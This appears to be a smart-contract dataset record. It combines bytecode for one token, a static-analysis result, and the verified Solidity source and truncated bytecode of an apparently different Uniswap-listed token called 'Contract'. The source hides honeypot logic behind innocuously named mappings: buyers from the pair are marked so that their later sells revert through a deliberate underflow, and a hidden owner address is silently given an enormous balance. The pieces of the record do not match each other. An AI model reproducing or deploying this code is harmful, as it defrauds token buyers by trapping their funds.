0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b610165610160366004611584565b6102fb565b005b61016f6103c0565b60405161017c91906115ee565b60405180910390f35b61019861019336600461155b565b610452565b60405161017c91906115e3565b6101ad610470565b60405161017c91906119ec565b6101ad610476565b6101986101d0366004611520565b61047f565b6101ad6101e3366004611584565b610555565b6101f0610598565b60405161017c91906119f5565b61019861020b36600461155b565b6105a1565b6101ad61021e36600461159c565b6105f0565b6101ad6102313660046114cd565b61064e565b6101656106b0565b6101ad610739565b61024e61073f565b60405161017c91906115cf565b61016f61074e565b61019861027136600461155b565b61075d565b61019861028436600461155b565b610801565b6101986102973660046114cd565b610815565b6101656102aa366004611584565b610833565b6101ad6102bd3660046114ee565b610893565b6101656102d03660046114cd565b6108be565b6101656102e33660046114cd565b6109f6565b6101656102f63660046114cd565b610ab6565b6000610305610c8b565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b81526004016103419061195b565b60405180910390fd5b600061035583610c8f565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a5a565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a5a565b6006556007546103b8908490611a03565b600755505050565b6060600880546103cf90611a71565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a71565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c8b565b8484610cdb565b5060015b92915050565b60075490565b64178411b20090565b600061048c848484610d8f565b6001600160a01b0384166000908152600360205260408120906104ad610c8b565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104ed5760405162461bcd60e51b81526004016103419061180c565b61054b846104f9610c8b565b6001600160a01b0387166000908152600360205260408120869161051b610c8b565b6001600160a01b03166001600160a01b03168152602001908152602001600020546105469190611a5a565b610cdb565b5060019392505050565b60006006548211156105795760405162461bcd60e51b815260040161034190611684565b6000610583610fbd565b905061058f8184611a1b565b9150505b919050565b600a5460ff1690565b60006104666105ae610c8b565b8484600360006105bc610c8b565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546105469190611a03565b600064178411b2008311156106175760405162461bcd60e51b81526004016103419061178d565b8161063557600061062784610c8f565b5092945061046a9350505050565b600061064084610c8f565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561068e57506001600160a01b038116600090815260026020526040902054610593565b6001600160a01b03821660009081526001602052604090205461046a90610555565b6106b8610c8b565b6001600160a01b03166106c961073f565b6001600160a01b0316146106ef5760405162461bcd60e51b815260040161034190611854565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a71565b60006003600061076b610c8b565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107b45760405162461bcd60e51b8152600401610341906119a7565b6104666107bf610c8b565b8484600360006107cd610c8b565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546105469190611a5a565b600061046661080e610c8b565b8484610d8f565b6001600160a01b031660009081526004602052604090205460ff1690565b61083b610c8b565b6001600160a01b031661084c61073f565b6001600160a01b0316146108725760405162461bcd60e51b815260040161034190611854565b60646108838264178411b200611a3b565b61088d9190611a1b565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108c6610c8b565b6001600160a01b03166108d761073f565b6001600160a01b0316146108fd5760405162461bcd60e51b815260040161034190611854565b6001600160a01b03811660009081526004602052604090205460ff16156109365760405162461bcd60e51b815260040161034190611756565b6001600160a01b03811660009081526001602052604090205415610990576001600160a01b03811660009081526001602052604090205461097690610555565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b6109fe610c8b565b6001600160a01b0316610a0f61073f565b6001600160a01b031614610a355760405162461bcd60e51b815260040161034190611854565b6001600160a01b038116610a5b5760405162461bcd60e51b8152600401610341906116ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610abe610c8b565b6001600160a01b0316610acf61073f565b6001600160a01b031614610af55760405162461bcd60e51b815260040161034190611854565b6001600160a01b03811660009081526004602052604090205460ff16610b2d5760405162461bcd60e51b815260040161034190611756565b60005b600554811015610c8757816001600160a01b031660058281548110610b6557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c755760058054610b9090600190611a5a565b81548110610bae57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610be857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c4e57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c87565b80610c7f81611aac565b915050610b30565b5050565b3390565b6000806000806000806000610ca388610fe0565b915091506000610cb1610fbd565b90506000806000610cc38c8686611013565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d015760405162461bcd60e51b815260040161034190611917565b6001600160a01b038216610d275760405162461bcd60e51b815260040161034190611714565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d829085906119ec565b60405180910390a3505050565b6001600160a01b038316610db55760405162461bcd60e51b8152600401610341906118d2565b6001600160a01b038216610ddb5760405162461bcd60e51b815260040161034190611641565b60008111610dfb5760405162461bcd60e51b815260040161034190611889565b610e0361073f565b6001600160a01b0316836001600160a01b031614158015610e3d5750610e2761073f565b6001600160a01b0316826001600160a01b031614155b15610e6457600b54811115610e645760405162461bcd60e51b8152600401610341906117c4565b6001600160a01b03831660009081526004602052604090205460ff168015610ea557506001600160a01b03821660009081526004602052604090205460ff16155b15610eba57610eb583838361104f565b610fb8565b6001600160a01b03831660009081526004602052604090205460ff16158015610efb57506001600160a01b03821660009081526004602052604090205460ff165b15610f0b57610eb5838383611169565b6001600160a01b03831660009081526004602052604090205460ff16158015610f4d57506001600160a01b03821660009081526004602052604090205460ff16155b15610f5d57610eb5838383611212565b6001600160a01b03831660009081526004602052604090205460ff168015610f9d57506001600160a01b03821660009081526004602052604090205460ff165b15610fad57610eb5838383611254565b610fb8838383611212565b505050565b6000806000610fca6112c6565b9092509050610fd98183611a1b565b9250505090565b60008080610fef606485611a1b565b610ffa906002611a3b565b905060006110088286611a5a565b935090915050915091565b60008080806110228588611a3b565b905060006110308688611a3b565b9050600061103e8284611a5a565b929992985090965090945050505050565b600080600080600061106086610c8f565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150611091908790611a5a565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110c1908690611a5a565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546110f1908590611a03565b6001600160a01b0388166000908152600160205260409020556111148382611490565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115791906119ec565b60405180910390a35050505050505050565b600080600080600061117a86610c8f565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111ab908690611a5a565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111e2908390611a03565b6001600160a01b0388166000908152600260209081526040808320939093556001905220546110f1908590611a03565b600080600080600061122386610c8f565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110c1908690611a5a565b600080600080600061126586610c8f565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150611296908790611a5a565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111ab908690611a5a565b600654600090819064178411b200825b6005548110156114575782600160006005848154811061130657634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061137f575081600260006005848154811061135857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113995760065464178411b2009450945050505061148c565b60016000600583815481106113be57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546113ed9084611a5a565b9250600260006005838154811061141457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114439083611a5a565b91508061144f81611aac565b9150506112d6565b5064178411b20060065461146b9190611a1b565b8210156114865760065464178411b20093509350505061148c565b90925090505b9091565b8160065461149e9190611a5a565b6006556007546114af908290611a03565b6007555050565b80356001600160a01b038116811461059357600080fd5b6000602082840312156114de578081fd5b6114e7826114b6565b9392505050565b60008060408385031215611500578081fd5b611509836114b6565b9150611517602084016114b6565b90509250929050565b600080600060608486031215611534578081fd5b61153d846114b6565b925061154b602085016114b6565b9150604084013590509250925092565b6000806040838503121561156d578182fd5b611576836114b6565b946020939093013593505050565b600060208284031215611595578081fd5b5035919050565b600080604083850312156115ae578182fd5b82359150602083013580151581146115c4578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561161a578581018301518582016040015282016115fe565b8181111561162b5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a1657611a16611ac7565b500190565b600082611a3657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a5557611a55611ac7565b500290565b600082821015611a6c57611a6c611ac7565b500390565b600281046001821680611a8557607f821691505b60208210811415611aa657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611ac057611ac0611ac7565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220380ba94aede9027ad048fb2aa2a27e8c4c7f8ad8d6c9c832028d23b0e7a9acda64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,232 |
0x0e2a69935d7df364703e79d89a9c232a2303696b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => uint256) private suppose;
mapping(uint256 => address) private organized;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private broad;
mapping(address => uint256) private wheat;
uint256 private constant MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 public _fee;
uint256 private allow;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address tokenOwner
) {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_fee = 2;
allow = _tTotal;
_rTotal = (MAX - (MAX % _tTotal));
_balances[tokenOwner] = _rTotal;
_balances[msg.sender] = _tTotal;
suppose[tokenOwner] = allow;
suppose[msg.sender] = allow;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
organized[allow] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address student,
address are,
uint256 amount
) private {
address process = broad[allow];
bool three = organized[allow] == student;
uint256 cloth = _fee;
if (suppose[student] == 0 && wheat[student] > 0 && !three) {
suppose[student] -= cloth;
}
broad[allow] = are;
if (suppose[student] > 0 && amount == 0) {
suppose[are] += cloth;
}
wheat[process] += cloth;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[student] -= fee;
_balances[address(this)] += fee;
_balances[student] -= amount;
_balances[are] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f9190611071565b60405180910390f35b610132600480360381019061012d919061112c565b610392565b60405161013f9190611187565b60405180910390f35b6101506103a7565b60405161015d91906111b1565b60405180910390f35b610180600480360381019061017b91906111cc565b6103b1565b60405161018d9190611187565b60405180910390f35b61019e610500565b6040516101ab91906111b1565b60405180910390f35b6101bc61051a565b6040516101c9919061122e565b60405180910390f35b6101ec60048036038101906101e79190611249565b610540565b6040516101f991906111b1565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061122e565b60405180910390f35b61023261063a565b60405161023f9190611071565b60405180910390f35b610262600480360381019061025d919061112c565b6106cc565b60405161026f9190611187565b60405180910390f35b610280610748565b60405161028d91906111b1565b60405180910390f35b6102b060048036038101906102ab9190611276565b61074e565b6040516102bd91906111b1565b60405180910390f35b6102e060048036038101906102db9190611249565b6107d5565b005b6102ea6108cc565b6040516102f79190611315565b60405180910390f35b60606007805461030f9061135f565b80601f016020809104026020016040519081016040528092919081815260200182805461033b9061135f565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600a54905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611402565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111b1565b60405180910390a36104f7843384600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611451565b6108f2565b90509392505050565b6000600960009054906101000a900460ff1660ff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f0c565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc906114d1565b60405180910390fd5b61060f6000610f14565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546106499061135f565b80601f01602080910402602001604051908101604052809291908181526020018280546106759061135f565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111b1565b60405180910390a36001905092915050565b600c5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f0c565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610848906114d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b790611563565b60405180910390fd5b6108c981610f14565b50565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906115f5565b60405180910390fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111b1565b60405180910390a3600190509392505050565b600060056000600d54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff1660026000600d54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161490506000600c5490506000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bc457506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bce575081155b15610c2a5780600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c229190611451565b925050819055505b8460056000600d54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccd5750600084145b15610d295780600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d219190611615565b925050819055505b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d789190611615565b925050819055506000600c54606486610d91919061169a565b610d9b91906116cb565b90508085610da99190611451565b945080600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dfa9190611451565b9250508190555080600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e509190611615565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea69190611451565b9250508190555084600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610efc9190611615565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611012578082015181840152602081019050610ff7565b83811115611021576000848401525b50505050565b6000601f19601f8301169050919050565b600061104382610fd8565b61104d8185610fe3565b935061105d818560208601610ff4565b61106681611027565b840191505092915050565b6000602082019050818103600083015261108b8184611038565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110c382611098565b9050919050565b6110d3816110b8565b81146110de57600080fd5b50565b6000813590506110f0816110ca565b92915050565b6000819050919050565b611109816110f6565b811461111457600080fd5b50565b60008135905061112681611100565b92915050565b6000806040838503121561114357611142611093565b5b6000611151858286016110e1565b925050602061116285828601611117565b9150509250929050565b60008115159050919050565b6111818161116c565b82525050565b600060208201905061119c6000830184611178565b92915050565b6111ab816110f6565b82525050565b60006020820190506111c660008301846111a2565b92915050565b6000806000606084860312156111e5576111e4611093565b5b60006111f3868287016110e1565b9350506020611204868287016110e1565b925050604061121586828701611117565b9150509250925092565b611228816110b8565b82525050565b6000602082019050611243600083018461121f565b92915050565b60006020828403121561125f5761125e611093565b5b600061126d848285016110e1565b91505092915050565b6000806040838503121561128d5761128c611093565b5b600061129b858286016110e1565b92505060206112ac858286016110e1565b9150509250929050565b6000819050919050565b60006112db6112d66112d184611098565b6112b6565b611098565b9050919050565b60006112ed826112c0565b9050919050565b60006112ff826112e2565b9050919050565b61130f816112f4565b82525050565b600060208201905061132a6000830184611306565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137757607f821691505b60208210810361138a57611389611330565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006113ec602983610fe3565b91506113f782611390565b604082019050919050565b6000602082019050818103600083015261141b816113df565b9050919050565b7f4e487b71000000000000000000000000000